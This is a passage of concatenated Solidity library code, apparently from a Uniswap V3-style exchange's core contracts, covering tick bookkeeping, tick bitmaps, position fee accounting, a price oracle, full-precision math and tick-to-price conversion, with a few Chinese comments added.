/// @param maxLiquidity The maximum liquidity allocation for a single tick
/// 刻度是否从initialized到uninitialized
/// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa
function update(
mapping(int24 => Tick.Info) storage self,
int24 tick,
int24 tickCurrent,
int128 liquidityDelta,
uint256 feeGrowthGlobal0X128,
uint256 feeGrowthGlobal1X128,
uint160 secondsPerLiquidityCumulativeX128,
int56 tickCumulative,
uint32 time,
bool upper,
uint128 maxLiquidity
) internal returns (bool flipped) {
Tick.Info storage info = self[tick];
uint128 liquidityGrossBefore = info.liquidityGross;
uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);
require(liquidityGrossAfter <= maxLiquidity, 'LO');
flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);
if (liquidityGrossBefore == 0) {
// by convention, we assume that all growth before a tick was initialized happened _below_ the tick
if (tick <= tickCurrent) {
info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;
info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;
info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;
info.tickCumulativeOutside = tickCumulative;
info.secondsOutside = time;
}
info.initialized = true;
}
info.liquidityGross = liquidityGrossAfter;
// when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)
info.liquidityNet = upper
? int256(info.liquidityNet).sub(liquidityDelta).toInt128()
: int256(info.liquidityNet).add(liquidityDelta).toInt128();
}
/// @notice Clears tick data
/// @param self The mapping containing all initialized tick information for initialized ticks
/// @param tick The tick that will be cleared
function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {
delete self[tick];
}
/// @notice Transitions to next tick as needed by price movement
/// @param self The mapping containing all tick information for initialized ticks
/// @param tick The destination tick of the transition
/// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0
/// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1
/// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity
/// @param time The current block.timestamp
/// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)
function cross(
mapping(int24 => Tick.Info) storage self,
int24 tick,
uint256 feeGrowthGlobal0X128,
uint256 feeGrowthGlobal1X128,
uint160 secondsPerLiquidityCumulativeX128,
int56 tickCumulative,
uint32 time
) internal returns (int128 liquidityNet) {
Tick.Info storage info = self[tick];
info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;
info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;
info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;
info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;
info.secondsOutside = time - info.secondsOutside;
liquidityNet = info.liquidityNet;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
import './BitMath.sol';
/// @title Packed tick initialized state library
/// @notice Stores a packed mapping of tick index to its initialized state
/// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word.
library TickBitmap {
/// @notice Computes the position in the mapping where the initialized bit for a tick lives
/// @param tick The tick for which to compute the position
/// @return wordPos The key in the mapping containing the word in which the bit is stored
/// @return bitPos The bit position in the word where the flag is stored
function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {
wordPos = int16(tick >> 8);
bitPos = uint8(tick % 256);
}
/// @notice Flips the initialized state for a given tick from false to true, or vice versa
/// @param self The mapping in which to flip the tick
/// @param tick The tick to flip
/// @param tickSpacing The spacing between usable ticks
function flipTick(
mapping(int16 => uint256) storage self,
int24 tick,
int24 tickSpacing
) internal {
require(tick % tickSpacing == 0); // ensure that the tick is spaced
(int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);
uint256 mask = 1 << bitPos;
self[wordPos] ^= mask;
}
/// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either
/// to the left (less than or equal to) or right (greater than) of the given tick
/// @param self The mapping in which to compute the next initialized tick
/// @param tick The starting tick
/// @param tickSpacing The spacing between usable ticks
/// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)
/// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick
/// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks
function nextInitializedTickWithinOneWord(
mapping(int16 => uint256) storage self,
int24 tick,
int24 tickSpacing,
bool lte
) internal view returns (int24 next, bool initialized) {
int24 compressed = tick / tickSpacing;
if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity
if (lte) {
(int16 wordPos, uint8 bitPos) = position(compressed);
// all the 1s at or to the right of the current bitPos
uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);
uint256 masked = self[wordPos] & mask;
// if there are no initialized ticks to the right of or at the current tick, return rightmost in the word
initialized = masked != 0;
// overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick
next = initialized
? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing
: (compressed - int24(bitPos)) * tickSpacing;
} else {
// start from the word of the next tick, since the current tick state doesn't matter
(int16 wordPos, uint8 bitPos) = position(compressed + 1);
// all the 1s at or to the left of the bitPos
uint256 mask = ~((1 << bitPos) - 1);
uint256 masked = self[wordPos] & mask;
// if there are no initialized ticks to the left of the current tick, return leftmost in the word
initialized = masked != 0;
// overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick
next = initialized
? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing
: (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
import './FullMath.sol';
import './FixedPoint128.sol';
import './LiquidityMath.sol';
/// @title Position
/// @notice Positions represent an owner address' liquidity between a lower and upper tick boundary
/// @dev Positions store additional state for tracking fees owed to the position
library Position {
// info stored for each user's position
struct Info {
// the amount of liquidity owned by this position
uint128 liquidity;
// fee growth per unit of liquidity as of the last update to liquidity or fees owed
uint256 feeGrowthInside0LastX128;
uint256 feeGrowthInside1LastX128;
// the fees owed to the position owner in token0/token1
uint128 tokensOwed0;
uint128 tokensOwed1;
}
/// @notice Returns the Info struct of a position, given an owner and position boundaries
/// @param self The mapping containing all user positions
/// @param owner The address of the position owner
/// @param tickLower The lower tick boundary of the position
/// @param tickUpper The upper tick boundary of the position
/// @return position The position info struct of the given owners' position
function get(
mapping(bytes32 => Info) storage self,
address owner,
int24 tickLower,
int24 tickUpper
) internal view returns (Position.Info storage position) {
position = self[keccak256(abi.encodePacked(owner, tickLower, tickUpper))];
}
/// @notice Credits accumulated fees to a user's position
/// @param self The individual position to update
/// @param liquidityDelta The change in pool liquidity as a result of the position update
/// @param feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries
/// @param feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries
function update(
Info storage self,
int128 liquidityDelta,
uint256 feeGrowthInside0X128,
uint256 feeGrowthInside1X128
) internal {
Info memory _self = self;
uint128 liquidityNext;
if (liquidityDelta == 0) {
require(_self.liquidity > 0, 'NP'); // disallow pokes for 0 liquidity positions
liquidityNext = _self.liquidity;
} else {
liquidityNext = LiquidityMath.addDelta(_self.liquidity, liquidityDelta);
}
// calculate accumulated fees
uint128 tokensOwed0 =
uint128(
FullMath.mulDiv(
feeGrowthInside0X128 - _self.feeGrowthInside0LastX128,
_self.liquidity,
FixedPoint128.Q128
)
);
uint128 tokensOwed1 =
uint128(
FullMath.mulDiv(
feeGrowthInside1X128 - _self.feeGrowthInside1LastX128,
_self.liquidity,
FixedPoint128.Q128
)
);
// update the position
if (liquidityDelta != 0) self.liquidity = liquidityNext;
self.feeGrowthInside0LastX128 = feeGrowthInside0X128;
self.feeGrowthInside1LastX128 = feeGrowthInside1X128;
if (tokensOwed0 > 0 || tokensOwed1 > 0) {
// overflow is acceptable, have to withdraw before you hit type(uint128).max fees
self.tokensOwed0 += tokensOwed0;
self.tokensOwed1 += tokensOwed1;
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
/// @title Oracle
/// @notice Provides price and liquidity data useful for a wide variety of system designs
/// @dev Instances of stored oracle data, "observations", are collected in the oracle array
/// Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the
/// maximum length of the oracle array. New slots will be added when the array is fully populated.
/// Observations are overwritten when the full length of the oracle array is populated.
/// The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()
library Oracle {
struct Observation {
// the block timestamp of the observation
uint32 blockTimestamp;
// the tick accumulator, i.e. tick * time elapsed since the pool was first initialized
int56 tickCumulative;
// the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized
uint160 secondsPerLiquidityCumulativeX128;
// whether or not the observation is initialized
bool initialized;
}
/// @notice Transforms a previous observation into a new observation, given the passage of time and the current tick and liquidity values
// 考虑到时间的流逝以及当前的滴答和流动性值,将先前的观察转换为新的观察
/// @dev blockTimestamp _must_ be chronologically equal to or greater than last.blockTimestamp, safe for 0 or 1 overflows
// blockTimestamp _must_ 按时间顺序等于或大于 last.blockTimestamp,对于 0 或 1 溢出是安全的
/// @param last The specified observation to be transformed
/// @param blockTimestamp The timestamp of the new observation
/// @param tick The active tick at the time of the new observation
/// @param liquidity The total in-range liquidity at the time of the new observation
/// @return Observation The newly populated observation
function transform(
Observation memory last,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity
) private pure returns (Observation memory) {
uint32 delta = blockTimestamp - last.blockTimestamp;
return
Observation({
blockTimestamp: blockTimestamp,
tickCumulative: last.tickCumulative + int56(tick) * delta,
secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +
((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),
initialized: true
});
}
/// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array
/// @param self The stored oracle array
/// @param time The time of the oracle initialization, via block.timestamp truncated to uint32
/// @return cardinality The number of populated elements in the oracle array
/// @return cardinalityNext The new length of the oracle array, independent of population
function initialize(Observation[65535] storage self, uint32 time)
internal
returns (uint16 cardinality, uint16 cardinalityNext)
{
self[0] = Observation({
blockTimestamp: time,
tickCumulative: 0,
secondsPerLiquidityCumulativeX128: 0,
initialized: true
});
return (1, 1);
}
/// @notice Writes an oracle observation to the array
/// @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally.
/// If the index is at the end of the allowable array length (according to cardinality), and the next cardinality
/// is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering.
/// @param self The stored oracle array
/// @param index The index of the observation that was most recently written to the observations array
/// @param blockTimestamp The timestamp of the new observation
/// @param tick The active tick at the time of the new observation
/// @param liquidity The total in-range liquidity at the time of the new observation
/// @param cardinality The number of populated elements in the oracle array
/// @param cardinalityNext The new length of the oracle array, independent of population
/// @return indexUpdated The new index of the most recently written element in the oracle array
/// @return cardinalityUpdated The new cardinality of the oracle array
function write(
Observation[65535] storage self,
uint16 index,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity,
uint16 cardinality,
uint16 cardinalityNext
) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {
Observation memory last = self[index];
// early return if we've already written an observation this block
if (last.blockTimestamp == blockTimestamp) return (index, cardinality);
// if the conditions are right, we can bump the cardinality
if (cardinalityNext > cardinality && index == (cardinality - 1)) {
cardinalityUpdated = cardinalityNext;
} else {
cardinalityUpdated = cardinality;
}
indexUpdated = (index + 1) % cardinalityUpdated;
self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);
}
/// @notice Prepares the oracle array to store up to `next` observations
/// @param self The stored oracle array
/// @param current The current next cardinality of the oracle array
/// @param next The proposed next cardinality which will be populated in the oracle array
/// @return next The next cardinality which will be populated in the oracle array
function grow(
Observation[65535] storage self,
uint16 current,
uint16 next
) internal returns (uint16) {
require(current > 0, 'I');
// no-op if the passed next value isn't greater than the current next value
if (next <= current) return current;
// store in each slot to prevent fresh SSTOREs in swaps
// this data will not be used because the initialized boolean is still false
for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;
return next;
}
/// @notice comparator for 32-bit timestamps
/// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time
/// @param time A timestamp truncated to 32 bits
/// @param a A comparison timestamp from which to determine the relative position of `time`
/// @param b From which to determine the relative position of `time`
/// @return bool Whether `a` is chronologically <= `b`
function lte(
uint32 time,
uint32 a,
uint32 b
) private pure returns (bool) {
// if there hasn't been overflow, no need to adjust
if (a <= time && b <= time) return a <= b;
uint256 aAdjusted = a > time ? a : a + 2**32;
uint256 bAdjusted = b > time ? b : b + 2**32;
return aAdjusted <= bAdjusted;
}
/// @notice Fetches the observations beforeOrAt and atOrAfter a target, i.e. where [beforeOrAt, atOrAfter] is satisfied.
/// The result may be the same observation, or adjacent observations.
/// @dev The answer must be contained in the array, used when the target is located within the stored observation
/// boundaries: older than the most recent observation and younger, or the same age as, the oldest observation
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param target The timestamp at which the reserved observation should be for
/// @param index The index of the observation that was most recently written to the observations array
/// @param cardinality The number of populated elements in the oracle array
/// @return beforeOrAt The observation recorded before, or at, the target
/// @return atOrAfter The observation recorded at, or after, the target
function binarySearch(
Observation[65535] storage self,
uint32 time,
uint32 target,
uint16 index,
uint16 cardinality
) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {
uint256 l = (index + 1) % cardinality; // oldest observation
uint256 r = l + cardinality - 1; // newest observation
uint256 i;
while (true) {
i = (l + r) / 2;
beforeOrAt = self[i % cardinality];
// we've landed on an uninitialized tick, keep searching higher (more recently)
if (!beforeOrAt.initialized) {
l = i + 1;
continue;
}
atOrAfter = self[(i + 1) % cardinality];
bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);
// check if we've found the answer!
if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;
if (!targetAtOrAfter) r = i - 1;
else l = i + 1;
}
}
/// @notice Fetches the observations beforeOrAt and atOrAfter a given target, i.e. where [beforeOrAt, atOrAfter] is satisfied
/// @dev Assumes there is at least 1 initialized observation.
/// Used by observeSingle() to compute the counterfactual accumulator values as of a given block timestamp.
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param target The timestamp at which the reserved observation should be for
/// @param tick The active tick at the time of the returned or simulated observation
/// @param index The index of the observation that was most recently written to the observations array
/// @param liquidity The total pool liquidity at the time of the call
/// @param cardinality The number of populated elements in the oracle array
/// @return beforeOrAt The observation which occurred at, or before, the given timestamp
/// @return atOrAfter The observation which occurred at, or after, the given timestamp
function getSurroundingObservations(
Observation[65535] storage self,
uint32 time,
uint32 target,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality
) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {
// optimistically set before to the newest observation
beforeOrAt = self[index];
// if the target is chronologically at or after the newest observation, we can early return
if (lte(time, beforeOrAt.blockTimestamp, target)) {
if (beforeOrAt.blockTimestamp == target) {
// if newest observation equals target, we're in the same block, so we can ignore atOrAfter
return (beforeOrAt, atOrAfter);
} else {
// otherwise, we need to transform
return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));
}
}
// now, set before to the oldest observation
beforeOrAt = self[(index + 1) % cardinality];
if (!beforeOrAt.initialized) beforeOrAt = self[0];
// ensure that the target is chronologically at or after the oldest observation
require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');
// if we've reached this point, we have to binary search
return binarySearch(self, time, target, index, cardinality);
}
/// @dev Reverts if an observation at or before the desired observation timestamp does not exist.
/// 0 may be passed as `secondsAgo' to return the current cumulative values.
/// If called with a timestamp falling between two observations, returns the counterfactual accumulator values
/// at exactly the timestamp between the two observations.
/// @param self The stored oracle array
/// @param time The current block timestamp
/// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation
/// @param tick The current tick
/// @param index The index of the observation that was most recently written to the observations array
/// @param liquidity The current in-range pool liquidity
/// @param cardinality The number of populated elements in the oracle array
/// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`
/// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`
function observeSingle(
Observation[65535] storage self,
uint32 time,
uint32 secondsAgo,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality
) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {
if (secondsAgo == 0) {
Observation memory last = self[index];
if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);
return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);
}
uint32 target = time - secondsAgo;
(Observation memory beforeOrAt, Observation memory atOrAfter) =
getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);
if (target == beforeOrAt.blockTimestamp) {
// we're at the left boundary
return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);
} else if (target == atOrAfter.blockTimestamp) {
// we're at the right boundary
return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);
} else {
// we're in the middle
uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;
uint32 targetDelta = target - beforeOrAt.blockTimestamp;
return (
beforeOrAt.tickCumulative +
((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *
targetDelta,
beforeOrAt.secondsPerLiquidityCumulativeX128 +
uint160(
(uint256(
atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128
) * targetDelta) / observationTimeDelta
)
);
}
}
/// @notice Returns the accumulator values as of each time seconds ago from the given time in the array of `secondsAgos`
/// @dev Reverts if `secondsAgos` > oldest observation
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param secondsAgos Each amount of time to look back, in seconds, at which point to return an observation
/// @param tick The current tick
/// @param index The index of the observation that was most recently written to the observations array
/// @param liquidity The current in-range pool liquidity
/// @param cardinality The number of populated elements in the oracle array
/// @return tickCumulatives The tick * time elapsed since the pool was first initialized, as of each `secondsAgo`
/// @return secondsPerLiquidityCumulativeX128s The cumulative seconds / max(1, liquidity) since the pool was first initialized, as of each `secondsAgo`
function observe(
Observation[65535] storage self,
uint32 time,
uint32[] memory secondsAgos,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality
) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {
require(cardinality > 0, 'I');
tickCumulatives = new int56[](secondsAgos.length);
secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);
for (uint256 i = 0; i < secondsAgos.length; i++) {
(tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(
self,
time,
secondsAgos[i],
tick,
index,
liquidity,
cardinality
);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint128
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
library FixedPoint128 {
uint256 internal constant Q128 = 0x100000000000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import '../interfaces/IERC20Minimal.sol';
/// @title TransferHelper
/// @notice Contains helper methods for interacting with ERC20 tokens that do not consistently return true/false
library TransferHelper {
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Calls transfer on token contract, errors with TF if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
